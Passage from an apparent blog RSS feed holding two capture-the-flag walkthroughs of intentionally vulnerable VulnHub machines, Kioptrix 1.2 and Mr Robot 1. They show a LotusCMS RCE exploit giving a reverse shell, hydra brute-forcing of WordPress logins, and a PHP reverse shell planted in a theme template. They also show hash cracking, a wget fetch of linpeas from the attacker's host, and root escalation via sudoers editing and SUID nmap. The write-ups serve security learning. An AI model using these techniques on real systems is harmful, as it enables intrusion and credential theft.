src="https://cdn-images-1.medium.com/max/1024/1*TW3WC0x1GiAw67WH0ySqRg.png" /><figcaption>GitHub Reop</figcaption></figure><p>Now we will use</p><blockquote><strong><em>git clone </em></strong><a href="https://github.com/Hood3dRob1n/LotusCMS-Exploit.git"><strong><em>https://github.com/Hood3dRob1n/LotusCMS-Exploit.git</em></strong></a> command</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*NBc_7fAwMuA8-It57aS7Qw.png" /><figcaption>GitHub Clone</figcaption></figure><p>Here we have successfully clone the exolit from Github. Now we will enter the directory .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*5w47Ya7AaR7d-mBXgTeBLg.png" /><figcaption>Inside the directory.</figcaption></figure><p>Now we will try to run LotusRCE .sh file by writting<strong><em> ./lotusRCE.sh command .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*zYYFUs56-6r3Ay3wW8GKgw.png" /><figcaption>Running Exploit</figcaption></figure><p>Here We Can see in the secind option we could directly run it after we entered the Ip address lets try it by entering IP address of Kioptrix Machine. \</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*YVK4eRozDdT0x7szXb9WLw.png" /><figcaption>Exploit Run</figcaption></figure><p>As we know that after running the exploit we will get the reverse shell .On the other terminal we will create a netcat listner there .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*GXGjiQAXotbq-JrqHUgIkQ.png" /><figcaption>NetCat Listner</figcaption></figure><p>Here we have Created a <strong><em>NetCat</em></strong> Listner on Port 6565 .Now lets run the exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*CFtqHnMUKaSDF3isWZslhw.png" /><figcaption>Inside Exploit Options</figcaption></figure><p>Here we added our Kali Ip address and and 6565 port number as our listner is on that port and then we will choose first option here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*scCFXTkiW37kwUyjMslq8A.png" /><figcaption>NetCat Got connected to target</figcaption></figure><p>And Boom we are connected to it now we will use <strong><em>ls</em></strong> command to list all directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*JovituT4DYzlBOkhDVVoFQ.png" /><figcaption>Using Ls Command</figcaption></figure><p>Lets Navigate Into Gallery Folder and Check What is inside there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/1*ZAW0w2_g7CaxrLBJ03O4Qw.png" /><figcaption>Inside Gallery</figcaption></figure><p>When we went inside gallery and we wrote ls command we can see there are many directory there lets navigate through it one by one.</p><p>I Opened other options but could not find anything intresting.</p><p>But inside gconfig.php we found credentials. I opended it by typing <strong><em>CAT</em></strong> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B9xYhc_yQ5_3iTbu7hPe4w.png" /><figcaption>using cat command</figcaption></figure><p>Here we got username and password. Lets try this Username and Password into our Login Page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*fNmdY0UMVAytNu8-y8j34w.png" /><figcaption>Trying UserName and Password</figcaption></figure><p>Here after typing User Name and Password ..we got this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*aRxsJnw7uJ-WV3zwoMnKqA.png" /><figcaption>Error Message</figcaption></figure><p>This Means that this username and password is for another login page .</p><p>Now lets use gobuster to find hidden page of this website.We will write this command here .</p><blockquote><strong>gobuster dir -u </strong><a href="http://192.168.0.104/"><strong>http://192.168.0.104/</strong></a><strong> -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</strong></blockquote><h3>Command Breakdown</h3><ul><li><strong>gobuster dir</strong>: This tells gobuster to use the directory/file brute-forcing mode. gobuster is a tool used to find hidden directories and files on web servers.</li><li><strong>-u http://192.168.0.104/</strong>: This specifies the URL of the target web server you want to scan. In this case, it&#39;s targeting the server at 192.168.0.104.</li><li><strong>-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</strong>: This specifies the wordlist to use for the scan. A wordlist is a file containing a list of possible directory and file names that gobuster will try to find on the target server. The path /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt points to a specific wordlist provided by the dirbuster tool, which is commonly used for this purpose.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*4OdPCPexCkrw6bdD69o7fQ.png" /><figcaption>Gobuster</figcaption></figure><p>Here After Running Go-Buster we can see we got an PhpAdmin Page here.</p><p>Lets Open it now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*bsLSWkekinf4Kv4b8WRaMQ.png" /><figcaption>Php Login Page</figcaption></figure><p>Here we have got our PHP Admin Page . Lets try to enter username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*-Snd95YxNfDWPSAjAF5Yrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IzrV3QtxDPmaozj3naCCSA.png" /><figcaption>Php Admin Pannel</figcaption></figure><p>And Here we have got access to Admin Pannel here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*LU4cfBQ0_oQfBJejINKFYA.png" /><figcaption>Gallery Pannel</figcaption></figure><p>Now here lets check the gallery page if we could find some valuable Information here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*KKcm88bFtD72tUlCxbp5zQ.png" /><figcaption>Gallery Options</figcaption></figure><p>Since Our goal to solve this machine is to gain Root access here .There is a high probablity that <strong><em>dev_account(developers account) </em></strong>must have root privilages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*PEBZo9vpgKdiLBilZmjBuA.png" /><figcaption>Dev Account</figcaption></figure><p>Here we got username and password.Apparently here the password is stored into Hash Form lets go into crackstation and <strong><em>de-hash</em></strong> the passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nv9Qvx5LLSsbzrA2qpsRcg.png" /><figcaption>Crack Station</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*hYfICmobMd_9Dj2NJ5JleQ.png" /><figcaption>Passwords</figcaption></figure><p>We got both the password here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*OGhITxqVurczvAMsWxImdg.png" /><figcaption>NetCat</figcaption></figure><p>We went back onto terminal and when i wrote <strong><em>whoami </em></strong>command on the reverse shell that we got. We can see here that we are <strong><em>www-data</em></strong> user here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/158/1*FPzS-zIfQsxl0H6udqb7RQ.png" /><figcaption>home</figcaption></figure><p>We went into home direcotry here by using <strong><em>cd/home</em></strong> command.We could see here there is <strong><em>loneferret</em></strong> name directory here . On our Php admin pannel we got a<strong><em> dev_account</em></strong> named <strong><em>loneferret </em></strong>too .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*48NFq9VyQ5ogXhDPtvZeGA.png" /><figcaption>dev user .</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*mgapjrL1PP_eq2iL5MgHyQ.png" /><figcaption>Inside Loneferret</figcaption></figure><p>Inside Loneferret Directory we found 2 files lets open this file and check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*qS0EwkeIChDJiNS9r3wQWQ.png" /><figcaption>Checksec.sh</figcaption></figure><p>Inside Checksec.sh we found a normal code here.Now lets try to open <strong><em>companypolicy.sh</em></strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*RZMQ4p0lcarqpT8jivJ3ng.png" /><figcaption>Company Policy</figcaption></figure><p>Here Inside This Company Policy file we are told to use <strong><em>&quot;sudo ht&quot;</em></strong> command. Lets Try this command now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*PHDr-Rdo8bVeIsY57NlsjQ.png" /><figcaption>sudo ht</figcaption></figure><p>Here when we wrote &quot;sudo ht&quot; command nothing happened as ig this is a normal shell now we need tty shell as it has more rights we will go on google to get the code for tty shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ex9afnMCuZwwYuXWF3HDCw.png" /><figcaption>TTY Shell</figcaption></figure><p>Here on <a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys">HACKTRICK SITE</a> we got this code for tty shell .</p><blockquote><strong>python3 -c ‘import pty; pty.spawn(“/bin/bash”);’</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*FK1l5-J0i9d2g7iuT52owQ.png" /><figcaption>Shell</figcaption></figure><p>Here after writting this code we got the TTY shell here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*acxU8GCH56oPiFacuULZWQ.png" /><figcaption>sudo ht</figcaption></figure><p>Here when we wrote <strong><em>sudo ht</em></strong> command. It is asking for password here. Since we are into <strong><em>loneferret</em></strong> directory ...I will try Loneferret password which i got on Php admin page which was <strong><em>starwars.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*2wSqIIL0PCCiPQoS3o_fmQ.png" /><figcaption>y Password</figcaption></figure><p>Here we got error while entering password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*JBnl8LXLnSwYF0l02MxBFg.png" /><figcaption>Error</figcaption></figure><p>We will try to login as other user by writting <strong><em>su dreg .</em></strong></p><p>And we will enter password for it which is<strong><em> Mast3r.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*bqNiB7jkPmMsYTIsKSYKow.png" /><figcaption>Dreg</figcaption></figure><p>Here we are Dreg User.Now we will login as loneferret user by writting</p><p><strong><em>su loneferret </em></strong>and then we will write password for it which is<strong><em> starwars .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*AR-b8-_HMyhb5GDoPNPMqw.png" /><figcaption>loneferret</figcaption></figure><p>Here we have enterd as loneferret user .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*PjxuNxceQz_eSgITXtC9Jw.png" /><figcaption>sudo ht</figcaption></figure><p>Here When we wrote sudo ht we got the error stating that our terminal is unknown.</p><blockquote><strong><em>HT is a file editor/viewer/analyzer for executables. The goal is to combine the low-level functionality of a debugger and the usability of IDEs. We plan to implement all (hex-)editing features and support of the most important file formats.</em></strong></blockquote><p>From our terminal that we got from reverse shell we cant execute command to run Ht we will take ssh so that we can run it on our Kali so that we can run HT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AyAUOcMK12ALoSGyg4cWUg.png" /><figcaption>SSH</figcaption></figure><p>Here i have opened SSH connection here.Now i will run <strong><em>sudo ht</em></strong> command here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*yn80x4tBgTfBmuBXvGyXvw.png" /><figcaption>ht</figcaption></figure><p>After Running <strong><em>sudo ht .. </em></strong>we will press F<strong><em>3 command</em></strong> and we will search for<strong><em> /etc/sudoers .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*NiRpeP6QqxwbiqvpfV_1BA.png" /><figcaption>Sudoers</figcaption></figure><p>Now we are greeted with this page here we can see loneferret .Here we will make some changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*l_XSOaV0Bq6NNCHy0zJ0fQ.png" /><figcaption>changes</figcaption></figure><p>Here i changed loneferret setting same as root user .And then i will save it.After saving it we will again write <strong><em>sudo su</em></strong> command to login as root user.After that we will write whoami command to verify which user we are</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*BwDuqOXEOddMdFFcuozp6Q.png" /><figcaption>Root</figcaption></figure><p>And Kaboom🔥We are <strong><em>Root!.</em></strong></p><p>This was the goal for this machine .</p><p>This means that We successfully completed <strong><em>Kioptrix Level 1.2 ;)</em></strong></p><blockquote>My Linkden<a href="http://www.linkedin.com/in/krish-sheth-a661992b5"><strong><em> Link</em></strong></a></blockquote><blockquote>Kioptrix Level 1.1 ..<a href="https://medium.com/@krishsheth23/kioptrix-level-1-1-2-vulnhub-walkthrough-by-krish-sheth-b702e870211a">Link</a></blockquote><blockquote>Kioptrix Level 1 ...<a href="https://medium.com/@krishsheth23/kioptrix-level-1-1-vulnhub-walkthrough-by-krish-sheth-921a309fa24a"> Link</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37ca649cac05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mr Robot 1 | VulnHub Walkthrough by Krish Sheth]]></title>
            <link>https://medium.com/@krishsheth23/mr-robot-1-vulnhub-walkthrough-by-krish-sheth-bf3df3c5bdeb?source=rss-f4201c14d60b------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf3df3c5bdeb</guid>
            <category><![CDATA[mr-robot]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[certified-ethical-hacker]]></category>
            <dc:creator><![CDATA[Krish Sheth]]></dc:creator>
            <pubDate>Wed, 24 Jul 2024 10:21:24 GMT</pubDate>
            <atom:updated>2024-07-24T10:21:24.924Z</atom:updated>
            <content:encoded><![CDATA[<p>The “Mr. Robot machine” is a virtual machine (VM) hosted on platforms like VulnHub, inspired by the TV show “Mr. Robot.” It serves as a practical learning environment for cybersecurity enthusiasts and professionals interested in ethical hacking.</p><p>This VM is purposefully designed with a variety of simulated vulnerabilities that mirror real-world cybersecurity challenges. These vulnerabilities range in complexity, offering opportunities to practice techniques such as reconnaissance, vulnerability scanning, exploitation, privilege escalation, and post-exploitation activities.</p><p><strong><em>This VM has three keys hidden in different locations. Your goal is to find all three.</em></strong></p><p>After Turning on the Kioptrix machine ,First i will use <strong>netdiscover</strong> command to find out about the machine ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*ud7NG08ZrNMQtKLrwG7fIA.png" /></figure><p>As I have opened the Kioptrix Machine in my Vmware here we can see the Machine Ip adress which is <strong><em>192.168.0.152.</em></strong></p><p>Next we will use <strong><em>nmap</em></strong> command to find out more about the target ip this will help us to know the open ports and the version they are running on.</p><p>As we are scanning we could the<em> Agressive </em>scan on the target ip.</p><p>We will use<strong> nmap-A (target ip)</strong> command to do the agressive scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gu77izrk3R3SEncoEuMuqQ.png" /></figure><p>There are two services running in 3 ports. An SSH server and an Apache server.</p><p>Now we will write the IP address in our Browser and will check for the website .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20A1rfpNbjmgqPnLVsw6Dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/408/1*XgQbxKEDxuV-1tbI-QIppw.png" /></figure><p>Here we are getting command which we have to write in this fake terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*gOFbshJNHxt5jDPMGZUzSw.png" /></figure><p>Here we tried the first command .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EYA0aSGQzUBmN_xk0rYjyg.png" /></figure><p>Here we got a trailer .Now after the trailer is played we will get the terminal again now we will use other commands .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*pi9E1jhcukUc9ySOceqjrA.png" /></figure><p>We wrote the join command and then we got this fake chat in shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*anQ82nlLGexTFUP7vvQPog.png" /></figure><p>Here I tried multiple email but nothing came so we will check <strong><em>robots.txt</em></strong></p><p>The “robots.txt” file is a text file placed in the root directory of a website to give instructions to web robots (like search engine crawlers) about which pages and files they can or cannot request from the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*DTTuer5AJ7F2MNsyfOBMiw.png" /></figure><p>Here we got the first key by writting this <a href="http://192.168.0.152/key-1-of-3.txt">http://192.168.0.152/key-1-of-3.txt</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*qBJYonv1Hz5KjimAVKCVww.png" /></figure><p><strong><em>This is our first key </em></strong>.</p><p>Here we also found a directory named <strong><em>fsocity.dic . </em></strong>Lets Open it and check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EzjKqiUk356xBormNtApQ.png" /></figure><p>Here we got a file to download ..and after opening it we can see that it is a wordlist here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-_p2YHmawTCYbVW6qHHFA.png" /></figure><p>Now lets open this wordlist in our terminal . So that we can sort it out .Here we opened the wordlist file in our terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*HRtbStZKIfBDsizx_ncXBw.png" /></figure><p>We will write <strong><em>wc-l</em></strong> command to know total number of words in the list.</p><blockquote><strong>wc</strong> command (word count) with flag <strong>-l</strong> (line).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*C3zajQuMIu_CiRFniuHauw.png" /></figure><p>We can see here at it has<strong><em> 858160</em></strong> Words in it .</p><p>We will try sort command and check here .If we sort out the unique values, we get a lot smaller wordlist.</p><blockquote>We will write <strong>s<em>ort fsocity.dic | uniq | wc -l .</em></strong></blockquote><p>Here we are sorting the uniq value and after it we will get the word count again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/1*R-4Sx1ocQCPJ3uE9yYPLAA.png" /></figure><p>Here after sorting the wordlist we got 11451 words only. Now firstly lets save this file then we will continue further . We will save it by using</p><blockquote><strong><em>sort fsocity.dic | uniq &gt; sorted.dic</em></strong></blockquote><p>Now our filed is Saved now we will use Dirb tool</p><blockquote>dirb is a popular command-line tool used for web application security testing and directory brute-forcing. It&#39;s designed to help discover hidden directories and files on web servers by launching a dictionary-based attack against the target site.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*IaadXwpwJE12d9MVyrSnmA.png" /></figure><p>Inside Dirb we got a hidden wordpress login page .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*dgrh4hjzH6EnEnt2qTd47g.png" /></figure><p>Seems like there is a wp-admin folder present now lets check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*evxJ_rF-_3Hw0yWRSY8wcw.png" /></figure><p>Here we got the Login Page of Wordpress now we will try to break into it so that we can gain access.we can try a bunch of usernames and check if there is change in the error messages. We have our wordlist so now we can use that .</p><p>Firstly we will use <strong><em>Burpsuite</em></strong> tool to capture the request from this word press site . So first we will open burpsuite and capture the request of this webpage .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbmoPAphHLUKmzA3B3g_IQ.png" /></figure><p>Now here we have captured request of the webpage.Now we will write any random user name and password so that we can get the request .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*LbQYWId8UcirslOAAS_wNQ.png" /></figure><p>Here I wrote<strong><em> admin </em></strong>in username and password <strong><em>admin .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*7_VO12GtxsQlP-_Hn_SlLQ.png" /></figure><p>Here I got this Request in my Burpsuite . Now we will bruteforce it using <strong><em>hydra</em></strong> tool .</p><p>Here we will write this hydra command to find the user name.</p><blockquote><strong>hydra -L Downloads/sorted.dic -p something 192.168.1.118 http-post-form ‘/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In:F=Invalid username’ -vv</strong></blockquote><h3>Explanation of Each Component</h3><ul><li>-L Downloads/sorted.dic: Specifies the file containing the list of usernames.</li><li>-p something: Specifies a single password to use for all username attempts.</li><li>192.168.1.56: The target IP address.</li><li>http-post-form: The protocol module used for an HTTP POST login form.</li><li>&#39;/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In:F=is incorrect&#39;:</li><li>/wp-login.php: The path to the login form.</li><li>log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In: The POST parameters where ^USER^ and ^PASS^ are placeholders for Hydra to fill in with the username and passwords.</li><li>F=Invalid username: The failure condition. Hydra will recognize a failed login attempt if the response contains &quot;Invalid username.&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hwuIZ-QRkCT0tIeNi_K31A.png" /></figure><p>Here we got the Username which is <strong><em>Elliot .</em></strong></p><p>Now we will perfrom same attack but with a bit changed parameter so that we can get passwords. Now we will use this command.</p><blockquote><strong>hydra -l elliot -P Downloads/sorted.dic 192.168.1.118 http-post-form ‘/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In:F=is incorrect’</strong></blockquote><h3>Explanation of Each Component</h3><ul><li>hydra: The command to run Hydra.</li><li>-l elliot: Specifies a single username elliot.</li><li>-P Downloads/sorted.dic: Specifies the file containing the list of passwords to test.</li><li>192.168.1.118: The target IP address where the WordPress site is hosted.</li><li>http-post-form: Specifies the module for HTTP POST form authentication.</li><li><em>&#39;/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In:F=is incorrect&#39;</em>:</li><li>/wp-login.php: The path to the login form.</li><li>log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In: The POST parameters where ^USER^ and ^PASS^ are placeholders for Hydra to fill in with the username and passwords.</li><li>F=is incorrect: The failure condition. Hydra will recognize a failed login attempt if the response contains the string &quot;is incorrect&quot;.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xKZ6mKfgRUls_83uIOPR_A.png" /></figure><p>And Boom here we got the password which is <strong><em>ER28–0652 .</em></strong></p><p>Now we will login onto our Login Page using this Username and passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*DWnzMCe7j0lhotj0Gyv5Cg.png" /></figure><p>And after using the UserID and Password we got into the wordpress pannel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUhRgUSXRJXjK0XyxRYuQg.png" /></figure><p>Here when we went into the user section we got 2 users .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1TF0kxawbh0ElYyMydvRhQ.png" /></figure><p>Here we didn&#39;t found anything intresting...we could make a reverse shell .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q107t0MI2iMqB8V4aaLhZQ.png" /></figure><p>Here we went into editor section and in 404 template we will paste our reverse shell code .</p><p>Our Kali has pre-installed <strong><em>PHP Reverse Shell ...</em></strong>We can locate it by<strong><em> </em></strong>typing</p><p><strong><em>locate php-re</em></strong> Command .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*U9demM216wGwJki7gnLlJg.png" /></figure><p>Now we got reverse shell now we will copy it by typing <strong><em>cp</em></strong> command .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*szVzlld2XHlP2PwW9gyblg.png" /></figure><p>Here i copied my reverse shell code into my downloads folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*1RgMe83Z3bEx1KrSbiXHHQ.png" /></figure><p>Here into my downloads folder we can see the <strong><em>reverse shell .php</em></strong> file .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rBUvRTAxq5wpi-0xaepnQw.png" /></figure><p>Here we will change the ip adress to our kali&#39;s ip address and we will also change the port number here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UzUh_rFu3qrUQgQT-0SxwA.png" /></figure><p>Here i have changed the IP address and also the port number.</p><p>Now we will copy this code and paste it into our wordpress webite .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UPd-NW7Fif-oDwOjcV292Q.png" /></figure><p>Here we have PASTED our code into 404 template of the wordpress site . Before executing this code we will first go into our kali and turn on the listner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*5TRVa0qTfkrsrTMwe7tbkQ.png" /></figure><p>Here we have turn on the netcat listner on the port 443 .</p><p>Here after turning on the listner i went into my browser and wrote the ip of Mr Robot machine with any random word so that it can trigger error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*62ZVpZfLJfz6oOBoZTp4Cg.png" /></figure><p>Now once we will press enter we will get error of page not found as there is no page with the name <strong><em>Hi</em></strong>.</p><p>What we did here was that as when browser will search for page ...it wont find the page with the name hi ...so when it will execute the error meassge code there we have injected our reverse shell code so indirectly it will execute reverse shell code and get we will reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*S-sW2dAJjogEA4ypWnsIHA.png" /></figure><p>Here in our netcat we got the reverse shell .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/1*h861RNyOjyZgUcHDzM1wnQ.png" /></figure><p>Here when we wrote <strong><em>ls</em></strong> command we got all the directory .Now to find the second key we will check direcotr .First lets start with home directory .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/189/1*AD_ndogNAqIX9Dm0zRUJGw.png" /></figure><p>When we went into home direcotry we found a new folder with the name robot.Now we will go inside this folder and we will check out we will find something intresting here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/215/1*fauY-W1IOhb_uF8AOlVylQ.png" /></figure><p>And Boom🔥We found our second key here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*x2P7XyWOqniqYosDGbphiA.png" /></figure><p>When we tried to open our file we got error stating permisson denied.</p><p>Now we will open second file of passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*sF4F0JGE_Ztta7mDkRUuHg.png" /></figure><p>Here we have found some kind of password hash here we will try to dehash this password here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yaNEZI4D5ySsy2cb3nrFEg.png" /></figure><p>Here online i went into Crackstation website and enterd my hash password chere .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*KlijJnOW0u402RJ0ZnOWIw.png" /></figure><p>Here it has given me the Password here. Now we will copy it and paste it .</p><p>First we will swtich to robot user account as we have its password here to login . We will use su command here to go into robot user acount.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*qz8K-j4BbOChCw2CYZ2g2A.png" /></figure><p>Here i got this error here. A qucik Chat-gpt search gave me this command to paste inside our reverse shell so that we can login in using robot user.</p><blockquote><strong><em>python -c ‘import pty; pty.spawn(“/bin/bash”)’</em></strong></blockquote><ul><li><strong>python -c</strong>: This part of the command tells Python to execute the code provided as a string following the -c option.</li><li><strong>import pty</strong>: This imports the pty module, which provides functions for handling pseudo-terminal devices.</li><li><strong>pty.spawn(&quot;/bin/bash&quot;)</strong>: This function call spawns a new process, in this case, /bin/bash, and connects the standard input, output, and error streams of the current process to the new process. This effectively upgrades the shell to a fully interactive Bash shell.</li></ul><p>So now here after writting this code into our terminal we got <strong><em>tty shell.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*jM2aK7zgJ07t5zN-5Am-JA.png" /></figure><p>Now here when we try to login into robot user account it is asking for password here ... we will paste our cracked hash password here so that we can login as robot user .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*APiYX5AAo0qazkwoIWgHIw.png" /></figure><p>Here i have pasted our cracked hash here .After typing the password we got to log in as the robot user</p><p>Now we can open the key 2 file with the help of robot user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*NYY991hpDIDrH9ehYWjeNw.png" /></figure><p>And boom here we got the second key.Now we will do <strong><em>PrivEscalation.</em></strong></p><p>So first when we wrote whoami we were a user name robot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*Y9PPsnRXfuJZ37NHrYRsRQ.png" /></figure><p>Now we will run linpeas here .</p><blockquote>(I am not writing the whole walkthrough for linpeas here but inshort what i did was first downloaded<strong><em> linpeas.sh</em></strong> from github then i created python server and using wget command download linpeas to our shell)</blockquote><p><strong><em>wget http://192.168.0.103:552/linpeas.sh</em></strong></p><p>this was the command i used</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*JPb_WT1qr7-ImR8uEkbmhQ.png" /></figure><p>After downloading it using chmod command i gave<strong><em> linpeas.sh</em></strong> executable rights. And then i runned it using <strong><em>./linpeas.sh </em></strong>command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*N9wSzfh-gFS1PMzVD5SXTQ.png" /></figure><p>Here is our linpeas.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dh3YoBI553ZKhiUF1eN83A.png" /></figure><p>Here under SUID we can see nmap here that means with the help of nmap we can escalte our privilages .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mZGbPiTXhe41YCKmlCHrmg.png" /></figure><p>Now we will open nmap using command <strong><em>nmap --interactive .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*XcS1lJPvZwBBqshAWS1Nbg.png" /></figure><p>Here when we wrote whoami it gave us error stating unknown command this means the we are inside nmap but we dont have shell yet .</p><p>We can make shell my writing <strong><em>!sh</em></strong> command .This is give us the bash shell . As nmap had privilages right now we should be the root user here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/154/1*egei34siQXAGcPsHsqvDrg.png" /></figure><p>And kabooom we are root user 🥳🥳 now we will get the third key .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*HZq570wraor2ZGxzq72pow.png" /></figure><p>Here after writing ls command we got all the directories now since we are root user we could enter root directory and then we got the third key here .</p><p>This was the goal for this machine .</p><p>This means that We successfully completed<strong><em> MR ROBOT 1</em></strong> <strong><em>;)</em></strong></p><p>My Linkden<a 